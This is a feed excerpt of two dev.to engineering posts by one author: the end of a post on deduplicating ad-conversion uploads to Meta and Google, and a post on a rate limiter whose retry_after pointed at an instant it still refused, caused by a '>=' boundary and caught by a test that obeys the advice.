&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;batch&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pending&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setdefault&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;account&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;account_ref&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;destination&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="p"&gt;[])&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;any&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;item&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;ready&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;item&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;batch&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="c1"&gt;# already in this batch: record it, send nothing
&lt;/span&gt;    &lt;span class="bp"&gt;...&lt;/span&gt;
    &lt;span class="k"&gt;continue&lt;/span&gt;
&lt;span class="n"&gt;batch&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ready&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Plus &lt;code&gt;dict.fromkeys(outcome.accepted)&lt;/code&gt; on the way back, so one accepted key writes one row whatever the destination echoes. Two tests pin it, and I checked both by stashing the fix and watching them fail: &lt;code&gt;test_the_same_deal_twice_in_one_run_uploads_once&lt;/code&gt; and &lt;code&gt;test_an_upsell_after_a_duplicated_delivery_still_adds_the_difference&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The general shape is worth carrying out of this repo. A uniqueness rule enforced at the point of persistence is not enforced at all while there is an unpersisted buffer in front of it. Queues, batchers, in-flight maps and request bodies are all that buffer.&lt;/p&gt;

&lt;h2&gt;
  
  
  What it refuses to guess
&lt;/h2&gt;

&lt;p&gt;The short version of the doctrine, each line an executable test:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;{{gclid}}&lt;/code&gt;, &lt;code&gt;undefined&lt;/code&gt; and &lt;code&gt;N/A&lt;/code&gt; are not identifiers. A template that never rendered uploads a conversion that counts, attributes to nothing, and leaves the diagnostics report looking healthy.&lt;/li&gt;
&lt;li&gt;Geography alone is not an identifier either. &lt;code&gt;sha256("us")&lt;/code&gt; is the same value for every customer in the country. Meta accepts it. It matches nobody, so the gate stops at person-level signals.&lt;/li&gt;
&lt;li&gt;A short count from Meta is ambiguous, not partial success. The documented body is a count with no list of which events it refers to, so nothing is recorded as uploaded and the next run re-sends under the same &lt;code&gt;event_id&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;One stale event takes a Meta batch with it. Past seven days the whole request errors, so 999 good conversions die for one bad row, which is why the window check happens locally before a request is spent.&lt;/li&gt;
&lt;li&gt;A refund is quarantined naming &lt;code&gt;ConversionAdjustmentUploadService&lt;/code&gt;, the Google Ads API service that documents restatements and retractions, which this package does not speak. No negative conversion value invented to approximate one.&lt;/li&gt;
&lt;li&gt;Google's request reference and limits page both say 2,000 events per request while its &lt;code&gt;TOO_MANY_EVENTS&lt;/code&gt; error reason says 10,000. This batches at 2,000 and writes the contradiction down rather than averaging it away.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What it does not tell you
&lt;/h2&gt;

&lt;p&gt;The fakes are my model of the documentation, and a model is not a platform. Step 8 of the RUNBOOK exists because of the biggest gap: Meta documents deduplication on &lt;code&gt;event_id&lt;/code&gt; plus &lt;code&gt;event_name&lt;/code&gt; for 48 hours, and Google documents deduplication between a tag and the API, not between two ingestions of the same API. On the Google side the key is a hedge whose behaviour has to be confirmed once against a live account, deliberately, by sending the same conversion twice.&lt;/p&gt;

&lt;p&gt;Google names an &lt;code&gt;EVENT_TIME_INVALID&lt;/code&gt; error without publishing the window it applies, so the window here is configurable and unset by default rather than guessed. The default upload store is process-local memory, which is correct for the suite and gone the moment the process dies. And none of this reports anything: the platform's own reporting stays the only honest source for what the numbers are, because a second number is a second argument.&lt;/p&gt;

&lt;p&gt;The code, the two dialects, the demo and both regression tests are in &lt;a href="https://github.com/vinimabreu/revenue-loop" rel="noopener noreferrer"&gt;github.com/vinimabreu/revenue-loop&lt;/a&gt;, MIT, no network in the suite.&lt;/p&gt;

&lt;p&gt;An uploaded conversion nobody can attribute is not measurement. It is a report that agrees with you.&lt;/p&gt;




&lt;p&gt;Vinicius Pereira&lt;br&gt;
&lt;a href="https://vinimabreu.dev" rel="noopener noreferrer"&gt;vinimabreu.dev&lt;/a&gt; · &lt;a href="https://github.com/vinimabreu" rel="noopener noreferrer"&gt;github.com/vinimabreu&lt;/a&gt;&lt;/p&gt;

</description>
      <category>python</category>
      <category>api</category>
      <category>testing</category>
      <category>softwareengineering</category>
    </item>
    <item>
      <title>My rate limiter told callers to come back at a time it would refuse them</title>
      <dc:creator>Vinicius Pereira</dc:creator>
      <pubDate>Sun, 13 Sep 2026 17:01:09 +0000</pubDate>
      <link>https://dev.to/vinimabreu/my-rate-limiter-told-callers-to-come-back-at-a-time-it-would-refuse-them-1g3o</link>
      <guid>https://dev.to/vinimabreu/my-rate-limiter-told-callers-to-come-back-at-a-time-it-would-refuse-them-1g3o</guid>
      <description>&lt;p&gt;The gate said no, and it said when to come back.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;HOLD   frequency_cap   retry_after 2026-09-15T12:00:00Z
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So the caller came back at 12:00:00Z, and the gate said no, and it said to come back at 12:00:00Z.&lt;/p&gt;

&lt;p&gt;Nobody was in an infinite loop in production, because this was a test suite and the package had not shipped yet. But the shape of it is the thing I want to write about, because I have written rate limiting more than once and I had never tested the part that broke.&lt;/p&gt;

&lt;h2&gt;
  
  
  The package, briefly
&lt;/h2&gt;

&lt;p&gt;I was building a decision service for follow-up sequences. The idea is small: your n8n or Make scenario already knows how to send a message, so this is the thing it asks first. It answers &lt;code&gt;SEND&lt;/code&gt;, &lt;code&gt;SKIP&lt;/code&gt;, &lt;code&gt;HOLD&lt;/code&gt;, &lt;code&gt;STOP&lt;/code&gt; or &lt;code&gt;ESCALATE&lt;/code&gt;, with a reason and the evidence it read.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F52r8ty5boaobm9psfdw2.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F52r8ty5boaobm9psfdw2.gif" alt=" " width="720" height="405"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Four acts: the case, a signal that lands between steps, the same step asked twice after a restart, and a quiet window read on the contact's clock.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;One of the rules it enforces is a frequency cap. At most N messages on a channel per contact inside a sliding window, counted across every sequence that contact is in, because two campaigns that each respect their own limit still add up to two messages for the person receiving them.&lt;/p&gt;

&lt;p&gt;The cap is about eleven lines. Here is the shape of it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;cap&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;sequence&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;caps&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;cap&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;channel&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;step&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;channel&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;continue&lt;/span&gt;
    &lt;span class="n"&gt;since&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;now&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;cap&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;window&lt;/span&gt;
    &lt;span class="n"&gt;sends&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ledger&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sends_for_contact&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;case&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;contact_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cap&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;channel&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;since&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sends&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;cap&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;limit&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;continue&lt;/span&gt;
    &lt;span class="n"&gt;oldest&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;min&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decided_at&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;sends&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nc"&gt;Hold&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="n"&gt;reason&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;FREQUENCY_CAP&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;retry_after&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;oldest&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;cap&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;window&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Read it again and it still looks right. One send at 12:00 on Monday, a cap of one per day, so the window clears at 12:00 on Tuesday. That is exactly what &lt;code&gt;oldest + cap.window&lt;/code&gt; says.&lt;/p&gt;

&lt;h2&gt;
  
  
  The other half, in another file
&lt;/h2&gt;

&lt;p&gt;The ledger decides what counts as inside the window.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;sends_for_contact&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;contact_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;channel&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;since&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_records&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;contact_id&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;contact_id&lt;/span&gt;
        &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;channel&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;channel&lt;/span&gt;
        &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decided_at&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="n"&gt;since&lt;/span&gt;          &lt;span class="c1"&gt;# &amp;lt;- here
&lt;/span&gt;        &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;failed&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;&amp;gt;=&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;At 12:00 on Tuesday, &lt;code&gt;since&lt;/code&gt; is 12:00 on Monday. The Monday send has &lt;code&gt;decided_at == since&lt;/code&gt;. Monday is greater than or equal to Monday, so the send is still in the window, so the count is still one, so the cap still holds, so the gate computes &lt;code&gt;oldest + window&lt;/code&gt; again and returns the same instant it just refused.&lt;/p&gt;

&lt;p&gt;The two pieces of code were written twenty minutes apart, in two files, and each one is defensible alone. The interval is closed at the bottom in one and treated as open at the bottom in the other. A window that includes its own lower boundary can never be escaped by waiting exactly one window.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fs7d84vtlhka5z9d4tc8x.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fs7d84vtlhka5z9d4tc8x.png" alt=" " width="800" height="325"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;The whole bug in one line: the instant the refusal points at is the instant the rule still refuses.&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Why the suite did not catch it
&lt;/h2&gt;

&lt;p&gt;This is the part I actually want to talk about, because the test that should have caught it was already there. Here it is as I first wrote it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;test_the_cap_holds_the_second_send_inside_the_window&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;harness&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;send_and_confirm&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;s1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;harness&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;clock&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;advance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;timedelta&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hours&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

    &lt;span class="n"&gt;verdict&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;harness&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;decide&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;s2&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="n"&gt;verdict&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;kind&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;VerdictKind&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;HOLD&lt;/span&gt;
    &lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="n"&gt;verdict&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;reason&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;Reason&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;FREQUENCY_CAP&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Green. It asserts that the cap refuses. It says nothing at all about the instruction attached to the refusal.&lt;/p&gt;

&lt;p&gt;And that is how almost every rate limiter I have read is tested. There is a test for "it lets the first one through", a test for "it blocks the second one", and usually a test for "after enough time it lets another through", written with a comfortable margin: advance a day and an hour, or a day and a minute, and assert &lt;code&gt;SEND&lt;/code&gt;. Mine had that one too. &lt;code&gt;timedelta(days=1, minutes=1)&lt;/code&gt; passed happily, because a minute past the boundary is not the boundary.&lt;/p&gt;

&lt;p&gt;The margin is what hides it. Nobody tests the boundary, because the boundary feels like an off-by-one you would notice, and because advancing time by a convenient amount is what a person types when the point of the test is something else.&lt;/p&gt;

&lt;h2&gt;
  
  
  The test that catches it
&lt;/h2&gt;

&lt;p&gt;The fix in the test is not more assertions about the hold. It is to obey the hold.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;test_the_hold_says_exactly_when_the_window_clears&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;harness&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;send_and_confirm&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;s1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;harness&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;clock&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;advance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;timedelta&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hours&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="n"&gt;held&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;harness&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;decide&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;s2&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="n"&gt;held&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;retry_after&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;T0&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nf"&gt;timedelta&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;days&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;harness&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;clock&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;held&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;retry_after&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;          &lt;span class="c1"&gt;# do exactly what it told me
&lt;/span&gt;    &lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="n"&gt;harness&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;decide&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;s2&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;kind&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;VerdictKind&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SEND&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Set the clock to the value the system handed back. Not a second later. Not a comfortable minute later. The exact instant, taken from the response rather than typed by hand.&lt;/p&gt;

&lt;p&gt;That test fails on the original code, and the failure message is the whole story: &lt;code&gt;HOLD frequency_cap&lt;/code&gt; where a &lt;code&gt;SEND&lt;/code&gt; was expected, at the timestamp the system itself chose.&lt;/p&gt;

&lt;p&gt;The fix was one character. &lt;code&gt;&amp;gt;=&lt;/code&gt; became &lt;code&gt;&amp;gt;&lt;/code&gt;, with a comment explaining why the interval is half open, and the boundary test pinned it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Strictly after: at exactly `since` the send has aged out of the window.
# With &amp;gt;= here, retry_after (oldest + window) lands on an instant that is
# still capped, and a caller that obeys it gets held again, forever.
&lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decided_at&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;since&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;failed&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  The general version
&lt;/h2&gt;

&lt;p&gt;When a gate refuses and returns a retry time, it has made a promise, and the promise is written in a different place from the rule that produced it. Nothing in the type system, and nothing in a normal test suite, forces those two places to agree.&lt;/p&gt;

&lt;p&gt;So the class of bug is not "off by one in a comparison". It is &lt;strong&gt;an output that no test treats as an input&lt;/strong&gt;. &lt;code&gt;retry_after&lt;/code&gt; goes out to the caller and comes back as the caller's behaviour, and if your suite never closes that loop, the value is decorative.&lt;/p&gt;

&lt;p&gt;The practice I took from it is short: &lt;strong&gt;for any value your system returns as advice, write the test that follows the advice.&lt;/strong&gt; Retry after. Next page cursor. Suggested chunk size. The &lt;code&gt;Location&lt;/code&gt; header on a 202. Each of those is a round trip through your own API, and each of them is usually asserted for shape and never for effect.&lt;/p&gt;

&lt;p&gt;It generalises past time, too. A paginator that returns a cursor and a rate limiter that returns a delay are the same thing: a machine that refuses now and describes the conditions under which it will not refuse. If you never feed the description back in, the description is a comment.&lt;/p&gt;

&lt;h2&gt;
  
  
  While I was there
&lt;/h2&gt;

&lt;p&gt;The same suite caught a second, quieter version of the same theme.&lt;/p&gt;

&lt;p&gt;The service returns a &lt;code&gt;reason&lt;/code&gt; on every verdict, from a fixed vocabulary, and the reason string goes into the audit log. So I wrote a test that reads the engine source and asserts that every member of the enum is actually produced somewhere.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;test_every_reason_is_reachable_from_a_verdict_kind&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;documented&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;Reason&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="n"&gt;engine&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SRC&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;engine.py&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;read_text&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
